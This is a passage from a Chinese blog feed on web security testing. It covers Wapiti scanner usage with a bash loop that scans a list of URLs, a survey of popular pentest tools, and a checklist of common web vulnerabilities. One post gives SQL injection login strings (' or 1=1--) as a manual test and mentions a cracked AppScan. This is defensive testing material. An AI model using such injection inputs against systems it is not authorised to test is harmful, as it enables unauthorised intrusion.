line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　提供解决漏洞的方法</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　HTML报告格式</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　XML报告格式<br /><br /><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;"><strong style="word-break: break-all; line-height: normal !important;">　b.使用：wapiti使用比较简单，官网上给出的命令行及参数如下：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">Usage</div><div style="word-break: break-all; margin: 10px 0px;">Wapiti-2.2.1 - A web application vulnerability scanner</div><div style="word-break: break-all; margin: 10px 0px;">Usage: python wapiti.py http://server.com/base/url/ [options]</div><div style="word-break: break-all; margin: 10px 0px;">Supported options are:</div><div style="word-break: break-all; margin: 10px 0px;">-s</div><div style="word-break: break-all; margin: 10px 0px;">--start</div><div style="word-break: break-all; margin: 10px 0px;">To specify an url to start with</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-x</div><div style="word-break: break-all; margin: 10px 0px;">--exclude</div><div style="word-break: break-all; margin: 10px 0px;">To exclude an url from the scan (for example logout scripts)</div><div style="word-break: break-all; margin: 10px 0px;">You can also use a wildcard (*)</div><div style="word-break: break-all; margin: 10px 0px;">Example : -x "http://server/base/?page=*&amp;module=test"</div><div style="word-break: break-all; margin: 10px 0px;">or -x http://server/base/admin/* to exclude a directory</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-p</div><div style="word-break: break-all; margin: 10px 0px;">--proxy</div><div style="word-break: break-all; margin: 10px 0px;">To specify a proxy</div><div style="word-break: break-all; margin: 10px 0px;">Exemple: -p http://proxy:port/</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-c</div><div style="word-break: break-all; margin: 10px 0px;">--cookie</div><div style="word-break: break-all; margin: 10px 0px;">To use a cookie</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-t</div><div style="word-break: break-all; margin: 10px 0px;">--timeout</div><div style="word-break: break-all; margin: 10px 0px;">To fix the timeout (in seconds)</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-a</div><div style="word-break: break-all; margin: 10px 0px;">--auth</div><div style="word-break: break-all; margin: 10px 0px;">Set credentials for HTTP authentication</div><div style="word-break: break-all; margin: 10px 0px;">Doesn't work with Python 2.4</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-r</div><div style="word-break: break-all; margin: 10px 0px;">--remove</div><div style="word-break: break-all; margin: 10px 0px;">Remove a parameter from URLs</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-n</div><div style="word-break: break-all; margin: 10px 0px;">--nice</div><div style="word-break: break-all; margin: 10px 0px;">Define a limit of urls to read with the same pattern</div><div style="word-break: break-all; margin: 10px 0px;">Use this option to prevent endless loops</div><div style="word-break: break-all; margin: 10px 0px;">Must be greater than 0</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-m</div><div style="word-break: break-all; margin: 10px 0px;">--module</div><div style="word-break: break-all; margin: 10px 0px;">Set the modules and HTTP methods to use for attacks.</div><div style="word-break: break-all; margin: 10px 0px;">Example: -m "-all,xss:get,exec:post"</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-u</div><div style="word-break: break-all; margin: 10px 0px;">--underline</div><div style="word-break: break-all; margin: 10px 0px;">Use color to highlight vulnerables parameters in output</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-v</div><div style="word-break: break-all; margin: 10px 0px;">--verbose</div><div style="word-break: break-all; margin: 10px 0px;">Set the verbosity level</div><div style="word-break: break-all; margin: 10px 0px;">0: quiet (default), 1: print each url, 2: print every attack</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-f</div><div style="word-break: break-all; margin: 10px 0px;">--reportType</div><div style="word-break: break-all; margin: 10px 0px;">Set the type of the report</div><div style="word-break: break-all; margin: 10px 0px;">xml: Report in XML format</div><div style="word-break: break-all; margin: 10px 0px;">html: Report in HTML format</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-o</div><div style="word-break: break-all; margin: 10px 0px;">--output</div><div style="word-break: break-all; margin: 10px 0px;">Set the name of the report file</div><div style="word-break: break-all; margin: 10px 0px;">If the selected report type is "html", this parameter must be a directory</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-i</div><div style="word-break: break-all; margin: 10px 0px;">--continue</div><div style="word-break: break-all; margin: 10px 0px;">This parameter indicates Wapiti to continue with the scan from the specified</div><div style="word-break: break-all; margin: 10px 0px;">file, this file should contain data from a previous scan.</div><div style="word-break: break-all; margin: 10px 0px;">The file is optional, if it is not specified, Wapiti takes the default file</div><div style="word-break: break-all; margin: 10px 0px;">from \"scans\" folder.</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-k</div><div style="word-break: break-all; margin: 10px 0px;">--attack</div><div style="word-break: break-all; margin: 10px 0px;">This parameter indicates Wapiti to perform attacks without scanning again the</div><div style="word-break: break-all; margin: 10px 0px;">website and following the data of this file.</div><div style="word-break: break-all; margin: 10px 0px;">The file is optional, if it is not specified, Wapiti takes the default file</div><div style="word-break: break-all; margin: 10px 0px;">from \"scans\" folder.</div><div style="word-break: break-all; margin: 10px 0px;">----------</div><div style="word-break: break-all; margin: 10px 0px;">-h</div><div style="word-break: break-all; margin: 10px 0px;">--help</div><div style="word-break: break-all; margin: 10px 0px;">To print this usage message</div><div style="word-break: break-all; margin: 10px 0px;">------------------------------------------------------------</div></td></tr></tbody></table><br /><br /><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　注：将wapiti的执行写入到shell脚本中，由计划任务定时去跑该脚本。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　然后将wapiti生成的报告以邮件形式发到测试执行者指定的邮箱即可。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　shell 脚本按行读取文本文件url（待测页面），交由wapiti执行测试。将结果输出到generated-report.txt文件。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　用javamail发送report邮件到指定邮箱，测试执行结束。具体如下：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">#! /bin/bash</div><div style="word-break: break-all; margin: 10px 0px;">count=1</div><div style="word-break: break-all; margin: 10px 0px;">cat url | while read line</div><div style="word-break: break-all; margin: 10px 0px;">do</div><div style="word-break: break-all; margin: 10px 0px;">echo "------$(date)------"</div><div style="word-break: break-all; margin: 10px 0px;">wapiti $line &gt;&gt;generated-report.txt</div><div style="word-break: break-all; margin: 10px 0px;">echo "execute $count complete"</div><div style="word-break: break-all; margin: 10px 0px;">count=$(($count + 1))</div><div style="word-break: break-all; margin: 10px 0px;">done</div><div style="word-break: break-all; margin: 10px 0px;">exit 0</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　<strong style="word-break: break-all; line-height: normal !important;">3.如何评价（How to audit）？</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　黑盒安全测试一般是在黑盒功能测试、性能测试完成之后进行。可参考微软的SDL(Security Development Lifecycle)</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　流程。感觉在日常测试工作中加入黑盒安全自动化测试最易实施，效果可能也最好。从流程、组织、技术三方面保证</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　测试质量。评审或是评价安全测试的活动，没有资格说，做过再说。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;"></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px; height: 21px; position: relative; width: 627.1875px;"></div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/410666.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-03-06 10:15 <a href="http://www.blogjava.net/qileilove/archive/2014/03/06/410666.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>渗透测试工具流行性大调查</title><link>http://www.blogjava.net/qileilove/archive/2014/03/05/410623.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 05 Mar 2014 02:32:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/03/05/410623.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/410623.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/03/05/410623.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/410623.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/410623.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">全球有260万信息安全专业人士，<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">渗透测试</strong></u></a>工具是他们&#8220;安全军火库&#8221;中最常使用的装备，但直到最近，可用的渗透测试工具才丰富起来，但这也带来一个问题，挑选合适的渗透测试工具成了一件麻烦事，一个最简单的方法就是参考同行们的选择。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　近日一位国外信息安全专家发起了一项渗透测试工具在线调查，来自世界各地超过700名安全专家参与了调查，目前调查尚在进行中，但是一些类别工具的流行度差异已经可以比较明显地看出来。安全牛将其中一些调查结果摘录在下面供大家参考：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　参与调查人员的职业分布，渗透测试专业人士居多</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44762" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_201403031139161XNwR.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　渗透测试时使用的<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">操作系统</strong></u></a>，Kali&nbsp;<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Linux</strong></u></a>最受欢迎（41%），<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a>（19%）和BackTrack（19%）次之。</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44763" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_2014030311391620UJi.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　最常使用的渗透测试框架，Metaspoit遥遥领先（82%）：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44764" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_201403031139163lODW.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　最常使用的计算终端，笔记本电脑占大多数（71%）：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44765" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_201403031139164o85d.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　最常使用的密码/网络破解工具，John The Ripper最受欢迎（37%）：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=44766" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_201403031139165nXZF.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px;"><strong style="word-break: break-all; line-height: normal !important;">最受欢迎的网络扫描工具，Nmap遥遥领先（74%）：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px; text-align: center;"><a href="http://www.51testing.com/batch.download.php?aid=44767" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_201403031139166rw86.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px;"><strong style="word-break: break-all; line-height: normal !important;">　　最受欢迎的嗅探工具，Wireshark一骑绝尘（69%）：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px; text-align: center;"><a href="http://www.51testing.com/batch.download.php?aid=44768" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_2014030311391677zp8.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px;"><strong style="word-break: break-all; line-height: normal !important;">　　最受欢迎的蓝牙测试工具，BlueScanner优势明显（49%）：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px; text-align: center;"><a href="http://www.51testing.com/batch.download.php?aid=44769" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_201403031139168pTmY.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px;"><strong style="word-break: break-all; line-height: normal !important;">　　最受欢迎的无线测试工具，Aircrack-ng遥遥领先（68%）：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px; text-align: center;"><a href="http://www.51testing.com/batch.download.php?aid=44770" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_20140303113916906OH.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px;"><strong style="word-break: break-all; line-height: normal !important;">　　最受欢迎的Web应用/网站专业扫描工具，接近半数选择Burp Suite：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px; text-align: center;"><a href="http://www.51testing.com/batch.download.php?aid=44771" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/03/14982672_2014030311391610PnlL.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div></a></div><img src ="http://www.blogjava.net/qileilove/aggbug/410623.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-03-05 10:32 <a href="http://www.blogjava.net/qileilove/archive/2014/03/05/410623.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>web常见安全问题以及测试方法</title><link>http://www.blogjava.net/qileilove/archive/2014/02/13/409819.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 13 Feb 2014 08:01:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/02/13/409819.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/409819.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/02/13/409819.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/409819.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/409819.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Web</strong></u></a>安全是我们<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>组一直以来作为和<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">性能测试</strong></u></a>并驾齐驱的两个重点。开发的过程中还需要着重注意，该转义的地方转义；该屏蔽的地方屏蔽，该过滤的地方过滤等等。年底又到了，势必又有大批的发号抽奖之类的活动开发、上线，在这个过程中，安全问题是我们每个人应该紧绷的神经，对于我们测试人员来说，每个活动需要做到手动<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">安全测试</strong></u></a>加自动化安全测试相结合。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　常见的web安全问题有：</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注入、跨站点脚本攻击、跨站点伪造请求、目录遍历、邮件表头注入、页面错误信息等。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　对于手动安全测试来说，一般常用的有三点：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　1、URL有参数的，手动修改参数，看是否得到其他用户的信息和相关页面；</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　2、在登录输入框的地方输入&#8216; or 1=1--或 &#8220; or 1=1--等看是否有SQL注入；</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　3、在注重SQL注入的同时，一般在有输入框的地方输入</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">对于自动化安全测试来说：</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　测试组目前使用的安全测试工具为<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">IBM</strong></u></a>的AppScan（当然，是破解版,34上已经放过该工具的安装包）</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　1、在使用之前务必确认自己绑定的Host；</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　2、配置URL、开发环境、错误显示类型；</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　3、结果保存后可根据提示的问题类型和解决建议进行分析。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">Web安全测试通常要考虑的测试点：</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　1、输入的数据没有进行有效的控制和验证</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　2、用户名和密码</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　3、直接输入需要权限的网页地址可以访问</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　4、认证和会话数据作为GET的一部分来发送</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　5、隐藏域与CGI参数</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　6、上传文件没有限制</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　7、把数据验证寄希望于客户端的验证</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　8、跨站脚本（XSS）</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　9、注入式漏洞（SQL注入）</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　10、不恰当的异常处理</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　11、不安全的存储</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　12、不安全的<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">配置管理</strong></u></a></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　13、传输中的密码没有加密</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　14、弱密码，默认密码</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　15、缓冲区溢出</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　16、拒绝服务</div><img src ="http://www.blogjava.net/qileilove/aggbug/409819.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-02-13 16:01 <a href="http://www.blogjava.net/qileilove/archive/2014/02/13/409819.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Web安全之SQL注入攻击</title><link>http://www.blogjava.net/qileilove/archive/2014/01/30/409449.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 30 Jan 2014 03:55:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/01/30/409449.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/409449.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/01/30/409449.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/409449.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/409449.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;"><strong style="word-break: break-all; line-height: normal !important;">前言：</strong>&#9312;这个晨讲我构思了两个星期，但是之前电脑坏了，一直拖到昨天才开始着手准备，时间仓促，</div><div style="word-break: break-all; line-height: 21.59375px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif;">　　